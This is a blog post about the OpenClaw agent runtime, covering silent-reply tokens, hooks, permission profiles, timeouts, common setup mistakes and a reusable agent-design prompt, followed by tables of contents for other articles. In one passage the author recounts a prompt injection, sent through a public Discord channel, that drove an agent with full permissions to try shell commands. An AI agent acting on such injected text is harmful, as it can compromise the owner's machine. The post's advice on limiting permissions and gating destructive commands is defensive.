HEARTBEAT_OK is the current heartbeat acknowledgement. During heartbeat runs, OpenClaw strips it and drops the reply when nothing else needs user attention.

Four typical scenarios:

Scenario	Why stay silent
Scheduled health check, all green	Nothing to report
Background sync completed	User doesn't need to know
Heartbeat patrol, no anomaly	Reply `HEARTBEAT_OK`; routine, no anomaly = no message
Auto memory consolidation	Internal hygiene, not user-facing

Without silent-response handling, a heartbeat agent would generate a pile of "everything's fine" messages every day. With HEARTBEAT_OK for heartbeats and NO_REPLY for other silent work, you get zero messages on quiet days and a real alert when something is wrong. The signal-to-noise ratio defines whether you'll keep the agent running long-term.

NO_REPLY is one piece of a larger response-shaping layer:

Behavior	What it does
Dedupe	If the agent both used `message` tool and produced a reply with the same text, send only once
Error fallback	If there's no rendered content but a tool errored, surface the error
`NO_REPLY`	If the entire output is the marker, send nothing
`HEARTBEAT_OK`	During heartbeat runs, treat an OK-only reply as an acknowledgement and send nothing

I use silent replies heavily. They are the single setting that separates "the agent is annoying" from "the agent is invisible until I need it." When I started, I didn't use them; I had three agents pinging me every hour to say "all good." After two days I muted all three. Adding HEARTBEAT_OK to heartbeat prompts and NO_REPLY to non-heartbeat housekeeping brought them back into useful territory.

Hooks: nudges at key moments

A hook is a callback the runtime fires at a specific moment in the loop. OpenClaw exposes 8 of them across the lifecycle:

Hook	Fires when	Typical use
`onMessage`	Inbound message arrives	Pre-process, log
`beforeContext`	Just before context assembly	Inject extra files into context
`afterContext`	Context assembled, before model call	Audit the package size
`beforeTool`	About to run a tool	Permission check, sanitize args
`afterTool`	Tool returned	Modify result, log
`beforeReply`	Before sending response	Filter, censor, format
`afterReply`	After response sent	Log, trigger downstream
`onError`	Any stage failed	Alert, retry logic

Hooks are the place to put cross-cutting concerns that don't belong in any single tool or skill. Audit logging, rate limiting, content filters, custom analytics. Hooks let you change behavior without changing the agent's brain.

I use beforeTool to require explicit confirmation for any exec call that contains rm, sudo, or > (output redirect). The agent can still ask, but the hook turns "agent runs the command silently" into "agent waits for me to type 'yes.'" That's saved my home directory at least twice.

The Embedded Architecture: Speed Has a Price

OpenClaw runs all agents in a single process by default; they share memory, they share the gateway, they share the file system. The alternative would be one process per agent, isolated like microservices.

	Independent processes	Embedded (OpenClaw default)
Memory per agent	~600MB	~120MB
Cold start	3-5 seconds	<100ms
One agent crashes	Others keep running	The whole runtime restarts
5 agents on a 16GB Mac Mini	Tight	Easy

Embedded is faster and cheaper because there's no IPC overhead and no startup tax. The price: a bad plugin can take down the gateway. In three months I've had this happen once, an afterTool hook that threw an unhandled exception. Restart took 8 seconds. I was back online before I'd finished my coffee. The crash isolation argument is real but rare; the speed and footprint advantages are constant.

The Lobster Engine: Smart but Not Too Smart

OpenClaw's reasoning engine has a name: Lobster. The design constraint behind Lobster is unusual — don't be too smart.

The temptation when designing an agent loop is to add cleverness. Auto-summarization. Auto-context-pruning. Auto-tool-selection-with-ML-ranking. Each "auto" feels like it makes the agent better. In practice, each one makes the agent harder to debug because it adds hidden state.

Lobster's design philosophy is the opposite. Keep the loop boring. Keep the rules legible. If the user can't read the rules, the user can't trust the agent.

This shows up concretely in:

Pruning is rule-based, not ML-based. After N rounds, summarize the oldest tool result into a one-liner. You can read the rule and predict the behavior.
Tool selection is description-driven. The model picks tools based on text descriptions you wrote, not a learned ranking. You can change behavior by editing markdown.
Memory promotion is explicit. The agent doesn't decide what to remember, you write a rule for it.

Each of these has worse "raw" performance than a learned alternative. Each of them produces an agent you can actually operate. In the trade between cleverness and legibility, Lobster picks legibility.

Five Mistakes I Made in My First Month

If you're about to build on this, save yourself my mistakes.

Mistake 1: I disabled pruning to "give the model more context"

The agent got dumber, not smarter. By round 14, the context was 95% old tool output the model had already used. The actual question was buried. Pruning isn't lossy, it's clarity preservation. Enable agents.defaults.contextPruning.mode: "cache-ttl" where your provider/runtime benefits from it, and let the runtime trim old tool results from the prompt view.

Mistake 2: I used `full\` permissions for "convenience"

Every agent had exec, every agent could read every file, every agent could message any channel. When my Discord agent got a prompt injection from a public channel, it tried to run shell commands. The blast radius could have been the whole machine. Permission presets exist for a reason. Default to coding or messaging. Add capabilities only when an agent demonstrably needs them.

Mistake 3: I set timeoutSeconds to 60

Half my agent runs got killed mid-investigation. I'd send a real question and the agent would respond "task timed out" because the second tool call ran a 30-second command. 600 seconds is the right default. Lower it for chat-style agents to 180; raise it for batch jobs.

Mistake 4: I didn't use silent replies correctly

Three heartbeat agents pinging me hourly with "all good." I muted them in 48 hours. Added HEARTBEAT_OK to heartbeat behavior and NO_REPLY to non-heartbeat housekeeping, restarted, never muted again. Silence is signal. The default for "everything is fine" should be "send nothing."

Mistake 5: I treated hooks as optional

I went six weeks without an audit hook on exec. The first time something weird happened, I had to reconstruct what the agent had done by reading the trace, then guessing. With an audit hook in place, every exec call writes one line to a log file, which I now grep when something is off. Hooks aren't polish, they're how you stay in control as the agent grows.

A 30-Minute Path: Trace Your First Agent Loop

Want to see this end-to-end on your own machine? Here's what I'd do tonight.

Turn on trace diagnostics (3 min). Send /trace on in an owner/admin session. Use /status and the Gateway logs to inspect what happened.
Send a tool-triggering message (1 min). DM the agent: "what files are in my home directory."
Open the trace (5 min). Find the 4 lines: model call → tool call (exec ls ~) → tool result → model reply. That's a 1-round loop.
Send a multi-round message (3 min). "Find the largest file in my home directory and tell me when it was modified." This should produce 2-3 rounds.
Force a degenerate mode (5 min). Send "investigate this thoroughly", vague enough that the model might infinite-loop or one-round-stop. Watch which mode it falls into.
Add a hook (5 min). Edit <workspace>/hooks/before-tool.js (or .ts) to log every tool call to a file you can grep. Restart. Send another message. Confirm the hook fires.
Lock down permissions (5 min). Edit ~/.openclaw/openclaw.json and change the agent's permission profile from full to a narrower profile such as coding or messaging. Restart and try an out-of-scope action. Watch it refuse.
Set silent-output behavior (3 min). For heartbeat checks, return HEARTBEAT_OK when there is no finding. For non-heartbeat housekeeping, return NO_REPLY only. Trigger it and confirm no chat message arrives but the trace records the run.

Half an hour of this and you'll never again be confused about what the agent is doing.

AI Agent Loop Checklist

Designing or debugging an AI agent loop? Walk this list:

Stage	Ask this	Watch out for
1. Receive	Is the gateway up and the binding right?	See Part 2 § 3
2. Context	Is the package under 70% of the model window?	Long history blows the window
3. Reasoning	Is the model emitting plain text or tool calls?	Mostly text = zero-round mode
4. Tool	Is there a round cap and pruning?	Loops + no pruning = blown context
5. Streaming	Block or draft mode? Platform supports?	Draft = Telegram only
6. Persistence	Are traces and memory writes happening?	If not, debugging is divination
Permissions	Each agent has the minimum group it needs?	Default `full` is the usual mistake
Timeout	Cap matches the agent's job profile?	60s is too low; 1800s is too high for chat
Silent replies	`HEARTBEAT_OK` for heartbeat? `NO_REPLY` only for non-heartbeat silent work?	Wrong token = noisy or confusing agents
Hooks	Audit on `exec`?	Day-1 feature, not later

How to Apply This in a Real Setup

Don't try to internalize all 6 stages on day one. The order I'd recommend:

Run one agent with messaging permissions only. That's a safe sandbox.
Read one full trace end-to-end. Find the round count.
Add one tool. Watch the loop expand.
Trigger a degenerate mode on purpose. Learn the symptom.
Add the right silent token to one scheduled flow. Watch your notification volume drop.
Add a beforeTool hook on exec. That's day-1 security.
Tune the timeout to match the agent's actual job.

Each step is a small experiment, not a giant integration. The compound knowledge is what makes "the agent broke" become "round 14 hit the round cap because pruning was off." That precision is the whole point.

Back when I ran agent-like workflows on n8n, every silent failure was a 30-minute debugging session because the workflow was opaque. The runtime model, six named stages, a structured trace per round, turn the same class of bug into a 5-minute look. The visibility is the feature.

Ready-to-Use Prompt: Design the 6-Stage ReAct Loop for Your Agent and Guard Its Failure Modes

What this does: Maps the 6-stage ReAct loop (receive → context → reason → tool → stream → persist) for your task, sets its dials (tools, skills, permissions, timeouts, hooks, silent tokens), guards the three degenerate loop modes, and runs the five first-month-mistake check — so the agent investigates instead of single-shot answering.

Based on: OpenClaw AI Agent Loop: How Agents Think and Act — https://aiworkflowpro.com/openclaw-agent-brain/

Time to run: ~5 minutes

Copy this prompt into Claude Code, ChatGPT, or any AI assistant:

ROLE: You are an agent-loop architect. Your job: design the 6-stage ReAct loop for a task, set its dials (tools, skills, permissions, timeouts, hooks, silent tokens), and guard against the three degenerate modes and the five first-month mistakes — so the agent investigates (3-12 cycles) instead of single-shot answering.

CONTEXT — 6-STAGE REACT LOOP DESIGNER:
An AI agent is not "think once and reply" — it runs a 6-stage ReAct cycle that turns a model into a worker: receive → assemble context → reason → call a tool → stream the answer → persist, repeating the reason-and-tool steps 3-12 times per turn. That loop is what lets an agent investigate, not just answer, and misunderstanding it is the root cause of most "why is my agent slow" tickets. Around the loop sit dials — tools (hands), skills (manuals), permissions (the master-key paradox), timeouts, hooks, and silent-response tokens (NO_REPLY / HEARTBEAT_OK). The loop can fail in three degenerate modes, and five first-month mistakes recur.

INPUTS (fill in before running):
- TASK: YOUR_AGENT_TASK_HERE (what the agent must do — one sentence)
- TOOLS_AVAILABLE: YOUR_TOOLS_HERE (what tools the agent can call)
- RELIABILITY_NEED: YOUR_STAKES_HERE (best-effort / reliable / must-work-unattended)
- CHANNEL: YOUR_SURFACE_HERE (chat / scheduled job / event-driven)

METHOD — 6 STEPS:

Step 1 — Map the 6 stages for TASK
Lay the loop: receive (the input/trigger) → assemble context (gather what is needed) → reason (decide the next action) → call a tool (act) → stream the answer → persist (state/memory). State where the reason-tool sub-loop repeats 3-12 times for TASK.

Step 2 — Set the tools and skills dials
Tools = the agent's hands (from TOOLS_AVAILABLE); skills = the instruction manuals that tell it how to use them. Inject only the tools TASK needs; attach a skill per non-obvious tool. No skill on a complex tool means the agent misuses it.

Step 3 — Set permissions, timeouts, and silent tokens
Permissions: resolve the master-key paradox — give the minimum key each tool needs, not a master key (convenient but catastrophic on misuse). Timeouts: every tool call is bounded (not forever). Silent tokens: define when the agent stays silent — NO_REPLY (nothing useful to say) and HEARTBEAT_OK (alive, nothing to report) for event-driven CHANNEL.

Step 4 — Set hooks
Place hooks as nudges at key moments (pre-tool, post-tool, on timeout) — deterministic checks the loop cannot skip. Hooks enforce what the model might forget; they are not optional advice.

Step 5 — Guard the three degenerate modes
Detect and prevent: (1) infinite loop — reason-tool never converges (needs a terminal condition); (2) single-shot collapse — skips reason-tool and answers blind (enforce ≥1 tool call when investigation is required); (3) tool-spam — calls tools without reasoning between (require a reason step before every tool). Flag which TASK is most at risk of.

Step 6 — Run the five-mistake check
Check the recurring first-month mistakes: (1) treating the agent as single-shot? (2) master-key permissions? (3) no timeouts (tools hang forever)? (4) no silent tokens (agent noise-spams)? (5) hooks missing or advisory-only? Fix any.

RULES:
- The agent runs the reason-tool sub-loop 3-12 times per turn — design for repetition, not single-shot.
- Minimum-key permissions, never a master key — convenience is not worth the misuse blast radius.
- Every tool call has a timeout; no tool waits forever.
- Hooks are deterministic nudges the loop cannot skip — advisory hooks do not count.

OUTPUT FORMAT:
Output six sections:
1. **6-stage loop** — markdown table with columns: Stage | What happens | Repeats?
2. **Tools + skills** — markdown table with columns: Tool | Skill attached? (Y/N) | Purpose.
3. **Permissions + timeouts + silent tokens** — per-tool scope + timeout + the NO_REPLY/HEARTBEAT_OK rules for CHANNEL.
4. **Hooks** — markdown table with columns: Moment | Hook | What it enforces.
5. **Degenerate-mode guards** — markdown table with columns: Mode | Risk for TASK? (Y/N) | Guard.
6. **Five-mistake check** — markdown table with columns: Mistake | Present? (Y/N) | Fix.

Save as @templates/openclaw-agent-brain.md and run when you design or debug an agent loop, then re-run when you add tools, change reliability needs, or hit a slow/looping agent.

Frequently Asked Questions

What is an AI agent loop?

A 6-stage reasoning cycle: receive message, assemble context, model reasoning, tool execution, streaming response, persistence. The model can repeat the reasoning and tool stages multiple times in one user turn, that loop is the agent loop. It's why an agent can investigate, not just answer.

How is the agent loop different from a one-shot LLM call?

A one-shot call goes prompt-in / answer-out. The agent loop adds tool calls between rounds. Round 1: model calls tool. Round 2: model sees tool result, decides next move. Repeat until the model has enough evidence. This is why agents can do real work, they observe, then act.

Why does an OpenClaw agent need permission groups?

Tools like exec can run any shell command. Without tool profiles and group allowlists, one prompt-injection attack can become full machine compromise. Current OpenClaw uses profiles such as minimal, coding, messaging, and full plus group shorthands such as group:runtime, group:fs, group:sessions, group:memory, group:web, group:ui, group:automation, group:messaging, group:nodes, group:agents, group:media, and group:openclaw.

Why is the default agent timeout 600 seconds, not 60?

Real agent work, investigating a server, drafting a long document, processing a batch, routinely runs 3-8 minutes when tool calls compound. A 60-second cap kills useful work; 600 seconds gives room for legitimate loops while still bounding runaway. You can lower it for chat, raise it for batch jobs.

What does NO_REPLY do and when should I use it?

NO_REPLY is a general silent marker the agent emits to say "I did the work, but the user doesn't need a chat message." Use it for non-heartbeat housekeeping, group lurk-mode, and isolated cron results that should not be delivered. For heartbeat checks, current OpenClaw uses HEARTBEAT_OK instead.

Closing

The agent loop is six stages, two of which can repeat. Permissions, timeouts, hooks, and silent-response contracts are the dials around that loop. None of them are clever. All of them are legible. That's the point.

A chat tool hides behavior behind a text bubble. An agent loop makes behavior inspectable, you can read the rules, predict the outcomes, and find bugs by reading a trace instead of guessing. The bug is rarely in the model. The bug is almost always in the rules around the model. Once you internalize that, agent debugging stops being a coin flip.

OpenClaw Deep Series · Part 3 of 10

Prev ← Part 2: OpenClaw AI Agent Message Flow, 8 Runtime Stages

Next → Part 4: OpenClaw AI Agent Memory, 3 Layers That Work

Full series → /tag/openclaw/

— Leo

References

OpenClaw tools config docs — current tool profiles, group shorthands, and allow/deny policy
OpenClaw on GitHub — source for tool names and hook signatures
ReAct: Synergizing Reasoning and Acting in Language Models — the original ReAct paper that names the pattern this loop implements
Anthropic on tool use — the wire-level format under stage 4
Model Context Protocol docs — the standardized tool wiring this stage can speak
Lex Fridman Podcast #491, Peter Steinberger on OpenClaw — design intent from the creator

Published in: Technology
, Agent Engineering
, Intermediate
, OpenClaw

Author

Download more icon variants from https://tabler-icons.io/i/brand-youtube

I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.

View articles

DEV Community: Leo Kane

Keep Claude Code Synced Across Macs — Without Scripts

Keep Claude Code Synced Across Macs — Without Scripts

Why Claude Code Sync Is Hard in the First Place

The Three Claude Code Sync Approaches I Tried

Approach 1 — Syncthing (The Power-User Default)

Approach 2 — Git + Cron (The Engineer-Friend Special)

Approach 3 — iCloud Drive + One Symlink (The Thing I Actually Use)

Wait, Can You Really Symlink Into iCloud?

What Actually Syncs?

Gotchas I Hit (and How to Avoid Them)

The "Day One on a New Mac" Walkthrough

The Claude Code Backup Plan: GitHub Gist

When You'd Actually Want Syncthing Instead

What I Wish I'd Known on Day One

Key Takeaways

Related Reading

Ready-to-Use Prompt: Pick and Set Up a Claude Code Sync Across Macs

FAQ

Does this work on iPad?

What if I don't have iCloud+ (the paid tier)?

What if I want to share Skills across coworkers, not just my own Macs?

Is iCloud safe for sensitive prompts?

Why not Dropbox / Google Drive?

Can I sync between Mac and my personal server?

A Note on MCP Configs Specifically

Where This Sits in the Real Workflow

What's Next

CLAUDE.md Best Practices: Karpathy's 4 Principles + 6 Ready-to-Use Templates

CLAUDE.md Best Practices: Karpathy''s 4 Principles + 6 Ready-to-Use Templates (2026)

Why Does CLAUDE.md Matter More Than Any Other Config?

How Does Claude Code Actually Load Your CLAUDE.md?

What Are the Four Scope Layers?

Why Does Claude Sometimes Ignore Your Rules?

What Should You Include (and Exclude)?

What Do the Best CLAUDE.md Files Actually Contain?

Case 1: Karpathy's Four Principles (185K Stars)

Case 2: Anthropic's Own claude-code-action (42 Lines)

Case 3: Dan Abramov's overreacted.io (52 Lines)

Case 4: Vercel's next-devtools-mcp (118 Lines)

Case 5: Karpathy's llm-council (133 Lines)

What Two Patterns Emerge?

What Can We Learn From Other Community CLAUDE.md Files?

overtrue — The Safety-First Approach

Consensus From the Developer Community

Four Anti-Patterns Worth Memorizing

What Patterns Make a CLAUDE.md Actually Work?

How Should You Structure a CLAUDE.md for Your Role?

Frontend Developer Template

Backend Developer Template

Solo Developer / One-Person Company Template

Content Creator Template

Data Analyst Template

Student / Beginner Template

What Do All Six Templates Share?

When Should You Switch From One File to a Router Architecture?

Single-File Pattern

Router Pattern

Router Design Rules

How Do You Build a CLAUDE.md From Zero in One Week?

What Does a Before-and-After Rewrite Look Like?

What Are the Six Most Common CLAUDE.md Mistakes?

1. Too long

2. Duplicating linter work

3. Contradicting rules

4. Stale content

5. Untouched /init output

6. Writing documentation instead of rules

How Do CLAUDE.md, Skills, and Hooks Work Together?

Quick Audit Checklist

Related Reading

Ready-to-Use Prompt: Author a Tight CLAUDE.md for Your Role

Frequently Asked Questions

Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use?

Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use?

What Are the Three Claude Code Entry Points?

Why Does Claude Code Have Multiple Entry Points?

How Does the Shared Engine Work in Practice?

Which Entry Point Should You Pick?

Are You New to the Terminal?

What's the `@\` syntax actually doing?